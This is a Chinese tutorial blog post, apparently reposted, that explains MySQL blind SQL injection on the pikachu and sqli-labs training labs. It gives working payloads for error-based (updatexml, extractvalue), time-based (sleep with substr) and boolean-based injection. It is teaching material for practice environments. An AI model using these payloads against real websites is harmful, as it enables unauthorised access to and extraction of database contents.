首页 > 数据库技术 > 详细

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

时间:2021-05-10 10:49:25      阅读:11      评论:0      收藏:0      [点我收藏+]

环境

  • phpstudy
  • pikachu
  • sqli-labs

为什么sql注入会出现无回显的情况

当我们进行sql注入时,会发生一些无回显的情况,这时需要我们用到sql盲注的一些方法来进行注入。分析无回显这种情况,其实是因为数据库的查询方法导致的,在我们有回显进行注入时,数据库多用的是select查询,当我们使用select在数据库中查询时,会显示出来数据内容,例如

技术分享图片

但是,当我们进行增加、修改或删除数据时,数据库却不会给出这么多提示信息

增加

技术分享图片

修改

技术分享图片

删除

技术分享图片

因此,在注入过程中页面并没有明显的提示信息,对于这种注入,我们叫做sql注入盲注

业务场景

盲注多用于注册用户、修改用户信息,注册用户可以跟数据库发生增加用户的数据交互(insert into),而修改用户信息跟数据库发生的数据交互为更新(update)

盲注的三种方法

报错注入

原理:利用函数让数据库报错,利用页面回显的信息,从而进行注入

pikachu靶场演示

技术分享图片

注册用户,抓取数据包,此处的数据库操作是insert into操作

技术分享图片

payload

# payload1
‘ or updatexml(1,concat(0x7e,database(),0x7e),0) or ‘

# payload2
‘ and extractvalue(1,concat(‘~‘,(select database()))) and ‘1‘=‘1

页面产生错误信息

技术分享图片

接下来进行进行注入就可以了

延时注入

原理:使用if或者sleep函数,配合mid、substr、ascii、left等函数进行注入

常用的延时注入sql函数

# 如果条件成立,那么返回0,否则返回4
if(条件,0,5)

# sql语句延时执行x秒
sleep(x)

# 从b位置开始,截取a字符串的c位
mid(a,b,c)

# 从b位置开始,截取字符串a的c长度
substr(a,b,c) 

# 从左侧截取a的前b位
left(a,b)

# 判断a的长度是否等于8
length(a)=8

# 判断x的ascii码是否等于97
ascii(x)=97

sqli-labs less-9靶场

payload

# 如果数据库的第一位是s,那么直接返回,否则延时5秒
‘ and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

# 按照这种方法,可以爆出数据库名,随后爆表爆字段即可

布尔注入

原理:布尔,顾名思义,true或者false

sqli-labs less-5

我们来到sqli-labs的第五关,查看源代码

技术分享图片

分析代码,当我们的输入的sql语句正确的时候,页面会显示.....的内容,根据页面是否显示内容可判断我们猜测的数据库名、表、列等信息是否正确

# 判断数据库的长度是否为8
‘ and length(database())=8#

# 后面步骤不做介绍,采用页面是否回显,判断我们猜测的数据库名、表、列等信息是否正确,最后完成sql注入

三种方法对比

盲注中使用报错注入使用的比较多,延时注入容易产生误判并且耗时较长,而布尔注入耗时较长,因此首选报错注入

参考

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

原文:https://www.cnblogs.com/shley/p/14747321.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!